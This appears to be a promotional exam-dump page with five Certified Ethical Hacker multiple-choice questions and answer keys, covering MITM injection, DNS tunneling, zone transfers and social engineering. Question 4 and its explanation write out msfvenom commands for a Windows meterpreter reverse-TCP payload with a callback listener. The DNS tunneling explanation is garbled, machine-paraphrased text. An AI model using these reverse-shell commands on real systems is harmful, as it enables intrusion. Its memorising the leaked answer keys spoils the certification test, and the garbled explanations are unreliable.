VCE & PDF
Pass4itSure.com

312-50V12^{Q&As}

Certified Ethical Hacker Exam (CEHv12)

Pass EC-COUNCIL 312-50V12 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass4itsure.com/312-50v12.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

⚙ **Instant Download** After Purchase

⚙ **100% Money Back** Guarantee

⚙ **365 Days** Free Update

⚙ **800,000+** Satisfied Customers

QUESTION 1

An attacker, using a rogue wireless AP, performed an MITM attack and injected an HTML code to embed a malicious applet in all HTTP connections.

When users accessed any page, the applet ran and exploited many machines. Which one of the following tools the hacker probably used to inject HTML code?

A. Wireshark

B. Ettercap

C. Aircrack-ng

D. Tcpdump

Correct Answer: B

QUESTION 2

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network, in this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique. John successfully injected malware to bypass a firewall and maintained communication with the victim machine and CandC server. What is the technique employed by John to bypass the firewall?

A. DNS cache snooping

B. DNSSEC zone walking

C. DNS tunneling method

D. DNS enumeration

Correct Answer: C

DNS tunneling may be a method wont to send data over the DNS protocol, a protocol which has never been intended for data transfer. due to that, people tend to overlook it and it\\'s become a well-liked but effective tool in many attacks.Most popular use case for DNS tunneling is obtaining free internet through bypassing captive portals at airports, hotels, or if you are feeling patient the not-so-cheap on the wing Wi-Fi.On those shared internet hotspots HTTP traffic is blocked until a username/password is provided, however DNS traffic is usually still allowed within the background: we will encode our HTTP traffic over DNS and voil? we\\'ve internet access.This sounds fun but reality is, browsing anything on DNS tunneling is slow. Like, back to 1998 slow.Another more dangerous use of DNS tunneling would be bypassing network security devices (Firewalls, DLP appliances...) to line up an immediate and unmonitored communications channel on an organisation\\'s network. Possibilities here are endless: Data exfiltration, fixing another penetration testing tool... you name it.To make it even more worrying, there\\'s an outsized amount of easy to use DNS tunneling tools out there.There\\'s even a minimum of one VPN over DNS protocol provider (warning: the planning of the web site is hideous, making me doubt on the legitimacy of it).As a pentester all this is often great, as a network admin not such a lot . How does it work:For those that ignoramus about DNS protocol but still made it here, i feel you deserve a really brief explanation on what DNS does: DNS is sort of a phonebook for the web , it translates URLs (human-friendly language, the person\\'s name), into an IP address (machine-friendly language, the phone number). That helps us remember many websites, same as we will remember many people\\'s names.For those that know what DNS is i might suggest looking here for a fast refresh on DNS protocol, but briefly what you would like to understand is:?A Record: Maps a website name to an IP address.example.com ? 12.34.52.67?NS Record (a.k.a. Nameserver record): Maps a website

name to an inventory of DNS servers, just in case our website is hosted in multiple servers.example.com ? server1.example.com, server2.example.comWho is involved in DNS tunneling??Client. Will launch DNS requests with data in them to a website .?One Domain that we will configure. So DNS servers will redirect its requests to an outlined server of our own.?Server. this is often the defined nameserver which can ultimately receive the DNS requests.The 6 Steps in DNS tunneling (simplified):1. The client encodes data during a DNS request. The way it does this is often by prepending a bit of knowledge within the domain of the request. for instance : mypieceofdata.server1.example.com2. The DNS request goes bent a DNS server.3. The DNS server finds out the A register of your domain with the IP address of your server.4. The request for mypieceofdata.server1.example.com is forwarded to the server.5. The server processes regardless of the mypieceofdata was alleged to do. Let\\'s assume it had been an HTTP request.6. The server replies back over DNS and woop woop, we\\'ve got signal.

QUESTION 3

Which of the following statements about a zone transfer is correct? (Choose three.)

A. A zone transfer is accomplished with the DNS

B. A zone transfer is accomplished with the nslookup service

C. A zone transfer passes all zone information that a DNS server maintains

D. A zone transfer passes all zone information that a nslookup server maintains

E. A zone transfer can be prevented by blocking all inbound TCP port 53 connections

F. Zone transfers cannot occur on the Internet

Correct Answer: ACE

QUESTION 4

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c

B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Correct Answer: C

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run `set payload\\' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it\\'s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on. Example for Windows:

-msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

QUESTION 5

You went to great lengths to install all the necessary technologies to prevent hacking attacks, such as expensive firewalls, antivirus software, anti-spam systems and intrusion detection/prevention tools in your company\\'s network. You have

configured the most secure policies and tightened every device on your network. You are confident that hackers will never be able to gain access to your network with complex security system in place.

Your peer, Peter Smith who works at the same department disagrees with you.

He says even the best network security technologies cannot prevent hackers gaining access to the network because of presence of "weakest link" in the security chain.

What is Peter Smith talking about?

A. Untrained staff or ignorant computer users who inadvertently become the weakest link in your security chain

B. "zero-day" exploits are the weakest link in the security chain since the IDS will not be able to detect these attacks

C. "Polymorphic viruses" are the weakest link in the security chain since the Anti-Virus scanners will not be able to detect these attacks

D. Continuous Spam e-mails cannot be blocked by your security system since spammers use different techniques to bypass the filters in your gateway

Correct Answer: A

[312-50V12 VCE Dumps](#)   [312-50V12 Exam Questions](#)   [312-50V12 Braindumps](#)